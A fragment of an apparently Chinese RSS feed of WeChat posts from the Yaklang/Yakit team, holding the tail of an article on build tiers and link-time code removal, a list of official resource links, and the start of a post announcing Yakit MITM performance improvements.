0px;" data-nest-level="9"><span leaf="" data-nest-level="10" mpa-font-style="mssk8jr8ano" style="font-size: 14px;" data-mpa-action-id="mssk8jrmk3x" data-pm-slice="0 0 []">6. 总结</span></strong></span></p></div></div></div></div></div><p style="margin-bottom: 8px;"><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">档位负责元数据，链接期删除负责代码，两者正交、叠加使用</span></span><span leaf=""><span textstyle="" style="color: rgb(253, 128, 9);font-weight: bold;">；</span></span></p><ul class="list-paddingleft-1"><li><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">档位是量级上的改变——它让&#34;删代码的那个工具&#34;在发版时就顺手把元数据也删了；</span></span></p></li><li><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">链接期删除负责回收档位粒度不足造成的浪费；</span></span></p></li><li><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">下一步：给更多模块补轻量导出表，让更多脚本能落进 core 档</span></span></p></li></ul><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 10px auto;padding: 10px 0px 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC NEW&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;border: 1px solid rgb(255, 156, 25);background-color: rgb(255, 251, 239);" data-pm-slice="7 7 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); margin: 10px auto; padding: 10px 0px 0px; outline: 0px; max-width: 100%; box-sizing: border-box; overflow-wrap: break-word !important; color: rgba(0, 0, 0, 0.9); font-family: \&#34;PingFang SC NEW\&#34;, system-ui, -apple-system, BlinkMacSystemFont, \&#34;Helvetica Neue\&#34;, \&#34;Hiragino Sans GB\&#34;, \&#34;Microsoft YaHei UI\&#34;, \&#34;Microsoft YaHei\&#34;, Arial, sans-serif; font-size: 17px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: 0.544px; orphans: 2; text-align: justify; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; white-space: normal; background-color: rgb(255, 255, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;display: flex;justify-content: center;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: -10px 0px 0px;padding: 6px 35px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;background: linear-gradient(to right, rgb(240, 78, 18), rgb(255, 155, 25));clip-path: polygon(0px 0px, 100% 0px, 90% 100%, 10% 100%);"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;display: flex;justify-content: center;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px 12px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;font-size: 16px;color: rgb(255, 255, 255);text-align: center;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">END</span></p></div></div></div></div><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 15px 0px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px 15px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;display: flex;justify-content: flex-start;"><div data-mpa-action-id="mrxdnoohex8" data-pm-slice="0 0 []" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px 25px 0px 6px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;font-size: 16px;color: rgb(210, 64, 12);text-align: left;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-weight: bold;">YAK官方资源</span></span></p></div></div><div data-autoskip="1" data-mpa-action-id="mryegmidjp7" data-pm-slice="0 0 []" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 10px 20px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;text-align: justify;line-height: 1.75em;letter-spacing: 1.5px;font-size: 14px;color: rgb(51, 51, 51);background-color: transparent;"><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" mpa-font-style="mryegmhq1r1c" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 13px;">Yak 语言官方教程：</span></p><p data-nest-level="8" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span data-nest-level="9" mpa-font-style="mryegmhq1jeu" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-decoration: underline;color: rgb(95, 156, 239);font-size: 13px;"><em data-nest-level="10" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: italic;"><span leaf="" data-nest-level="11" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><a href="https://yaklang.com/docs/intro/" target="_blank">https://yaklang.com/docs/intro/</a></span></em></span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" mpa-font-style="mryegmhqdti" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 13px;">Yakit 视频教程：</span></p><p data-nest-level="8" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span data-nest-level="9" mpa-font-style="mryegmhq1tl2" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-decoration: underline;color: rgb(95, 156, 239);font-size: 13px;"><em data-nest-level="10" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: italic;"><span leaf="" data-nest-level="11" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><a href="https://space.bilibili.com/437503777" target="_blank">https://space.bilibili.com/437503777</a></span></em></span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" mpa-font-style="mryegmhq1c2a" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 13px;">Github下载地址：</span></p><p data-nest-level="8" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span data-nest-level="9" mpa-font-style="mryegmhq1scc" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-decoration: underline;color: rgb(95, 156, 239);font-size: 13px;"><em data-nest-level="10" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: italic;"><span leaf="" data-nest-level="11" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><a href="https://github.com/yaklang/yakit" target="_blank">https://github.com/yaklang/yakit</a></span></em></span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" mpa-font-style="mryegmhq22t3" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 13px;">Yakit官网下载地址：</span></p><p data-nest-level="8" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span data-nest-level="9" mpa-font-style="mryegmhq5co" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-decoration: underline;color: rgb(95, 156, 239);font-size: 13px;"><em data-nest-level="10" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: italic;"><span leaf="" data-nest-level="11" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><a href="https://yaklang.com/" target="_blank">https://yaklang.com/</a></span></em></span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" mpa-font-style="mryegmhq1ur2" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 13px;">Yakit安装文档：</span></p><p data-nest-level="8" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span data-nest-level="9" mpa-font-style="mryegmhq1gj7" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(95, 156, 239);font-size: 13px;"><em data-nest-level="10" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: italic;"><span data-nest-level="11" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-decoration: underline;"><span leaf="" data-nest-level="12" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><a href="https://yaklang.com/products/download_and_install" target="_blank">https://yaklang.com/products/download_and_install</a></span></span></em></span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" mpa-font-style="mryegmhqdoh" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 13px;">Yakit使用文档：</span></p><p data-nest-level="8" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span data-nest-level="9" mpa-font-style="mryegmhqqm7" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-decoration: underline;color: rgb(95, 156, 239);font-size: 13px;"><em data-nest-level="10" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: italic;"><span leaf="" data-nest-level="11" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><a href="https://yaklang.com/products/intro/" target="_blank">https://yaklang.com/products/intro/</a></span></em></span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" mpa-font-style="mryegmhqw0g" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 13px;">Memfit下载地址：</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-tool&#34;:&#34;mdnice编辑器&#34;,&#34;data-website&#34;:&#34;https://www.mdnice.com&#34;,&#34;style&#34;:&#34;margin-right: 0em;margin-bottom: 0px;margin-left: 0em;padding-right: 10px;padding-left: 10px;text-wrap: wrap;outline: 0px;background-color: rgb(255, 255, 255);font-size: 16px;color: black;line-height: 1.6;letter-spacing: 0px;word-break: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, \&#34;PingFang SC\&#34;, Cambria, Cochin, Georgia, Times, \&#34;Times New Roman\&#34;, serif;visibility: visible;&#34;,&#34;data-nest-level&#34;:&#34;2&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;outline: 0px;&#34;,&#34;data-nest-level&#34;:&#34;3&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;powered-by&#34;:&#34;xiumi.us&#34;,&#34;style&#34;:&#34;outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;&#34;,&#34;data-nest-level&#34;:&#34;4&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;padding: 30px;outline: 0px;display: inline-block;width: 656.997px;vertical-align: top;border-style: solid;border-width: 1px;border-color: rgb(255, 129, 36);align-self: flex-start;flex: 0 0 auto;&#34;,&#34;data-nest-level&#34;:&#34;5&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;powered-by&#34;:&#34;xiumi.us&#34;,&#34;style&#34;:&#34;margin-bottom: 10px;outline: 0px;&#34;,&#34;data-nest-level&#34;:&#34;6&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;outline: 0px;font-size: 14px;text-align: justify;&#34;,&#34;data-nest-level&#34;:&#34;7&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;outline: 0px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" mpa-font-style="mryegmhq1p6s" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-decoration: underline;color: rgb(95, 156, 239);font-style: italic;font-size: 13px;"><a href="https://memfit.ai/" target="_blank">https://memfit.ai/</a></span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span data-pm-slice="0 0 []" mpa-font-style="mryegmhq1oij" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 13px;"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-tool&#34;:&#34;mdnice编辑器&#34;,&#34;data-website&#34;:&#34;https://www.mdnice.com&#34;,&#34;style&#34;:&#34;margin-right: 0em;margin-bottom: 0px;margin-left: 0em;padding-right: 10px;padding-left: 10px;text-wrap: wrap;outline: 0px;background-color: rgb(255, 255, 255);font-size: 16px;color: black;line-height: 1.6;letter-spacing: 0px;word-break: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, \&#34;PingFang SC\&#34;, Cambria, Cochin, Georgia, Times, \&#34;Times New Roman\&#34;, serif;visibility: visible;&#34;,&#34;data-nest-level&#34;:&#34;2&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;outline: 0px;&#34;,&#34;data-nest-level&#34;:&#34;3&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;powered-by&#34;:&#34;xiumi.us&#34;,&#34;style&#34;:&#34;outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;&#34;,&#34;data-nest-level&#34;:&#34;4&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;padding: 30px;outline: 0px;display: inline-block;width: 656.997px;vertical-align: top;border-style: solid;border-width: 1px;border-color: rgb(255, 129, 36);align-self: flex-start;flex: 0 0 auto;&#34;,&#34;data-nest-level&#34;:&#34;5&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;powered-by&#34;:&#34;xiumi.us&#34;,&#34;style&#34;:&#34;margin-bottom: 10px;outline: 0px;&#34;,&#34;data-nest-level&#34;:&#34;6&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;outline: 0px;font-size: 14px;text-align: justify;&#34;,&#34;data-nest-level&#34;:&#34;7&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;outline: 0px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:null,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">IRify下载地址：</span></span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-tool&#34;:&#34;mdnice编辑器&#34;,&#34;data-website&#34;:&#34;https://www.mdnice.com&#34;,&#34;style&#34;:&#34;margin-right: 0em;margin-bottom: 0px;margin-left: 0em;padding-right: 10px;padding-left: 10px;text-wrap: wrap;outline: 0px;background-color: rgb(255, 255, 255);font-size: 16px;color: black;line-height: 1.6;letter-spacing: 0px;word-break: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, \&#34;PingFang SC\&#34;, Cambria, Cochin, Georgia, Times, \&#34;Times New Roman\&#34;, serif;visibility: visible;&#34;,&#34;data-nest-level&#34;:&#34;2&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;outline: 0px;&#34;,&#34;data-nest-level&#34;:&#34;3&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;powered-by&#34;:&#34;xiumi.us&#34;,&#34;style&#34;:&#34;outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;&#34;,&#34;data-nest-level&#34;:&#34;4&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;padding: 30px;outline: 0px;display: inline-block;width: 656.997px;vertical-align: top;border-style: solid;border-width: 1px;border-color: rgb(255, 129, 36);align-self: flex-start;flex: 0 0 auto;&#34;,&#34;data-nest-level&#34;:&#34;5&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;powered-by&#34;:&#34;xiumi.us&#34;,&#34;style&#34;:&#34;margin-bottom: 10px;outline: 0px;&#34;,&#34;data-nest-level&#34;:&#34;6&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;outline: 0px;font-size: 14px;text-align: justify;&#34;,&#34;data-nest-level&#34;:&#34;7&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;outline: 0px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" mpa-font-style="mryegmhqvuf" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-decoration: underline;color: rgb(95, 156, 239);font-style: italic;font-size: 13px;"><a href="https://ssa.to/" target="_blank">https://ssa.to/</a></span></p></div></div></div></div><div style="outline: 0px;" data-nest-level="3"><div data-tools="135编辑器" data-id="121426" style="outline: 0px;font-family: mp-quote, -apple-system-font, Arial, sans-serif;letter-spacing: 0.578px;" data-nest-level="4"><p data-nest-level="5" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100037040" data-ratio="0.6015104398045313" data-s="300,640" data-w="2251" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=3977bf26&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ff7AtEgJhMZcGEibOlRNlz6ZPic3cWicMDwdqZLq9q0hibDYiaICia6nncspoDTRnjPXFGTr3VWd9FlV4YSXRStoabxbg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-nest-level="5" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.325" data-type="gif" data-w="1080" data-imgfileid="100036982" src="https://wechat2rss.xlab.app/img-proxy/?k=41e5b736&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2Ff7AtEgJhMZeX0EdicJxBOjGjQuecg0TvCvRgqibPwyOUp8untXs9Cl5XKux2yQQf27ibgZ0ic0Fm2yicdbYg6c4xUJg%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=4da33d71&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzk0MTM4NzIxMQ%3D%3D%26mid%3D2247530054%26idx%3D1%26sn%3Dac618c1422c779baad210eb87ccd3796">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 14 Aug 2026 16:26:00 +0800</pubDate>
    </item>
    <item>
      <title>更跟手，也更稳：Yakit MITM 与历史流量性能优化</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzk0MTM4NzIxMQ==&amp;mid=2247530049&amp;idx=1&amp;sn=9ba099031919b5f6c2baa0c40374c7ac</link>
      <description>全链路提速 MITM 抓包，优化延迟、卡顿与内存占用</description>
      <content:encoded><![CDATA[<p>原创 <span>YAK</span> <span>2026-08-07 17:18</span> <span style="display: inline-block;">湖南</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=2e562bc9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FjibGAup6p72H3hpIAianiciabl0Y302g1NibxSGhqtqUdpLgvhZ4zcTkdxRia8JE52agWZrDm74ZWJRAXO41fibDW2SHianh9SR2AFSdeoQ1jR9HdQo%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>全链路提速 MITM 抓包，优化延迟、卡顿与内存占用</p>
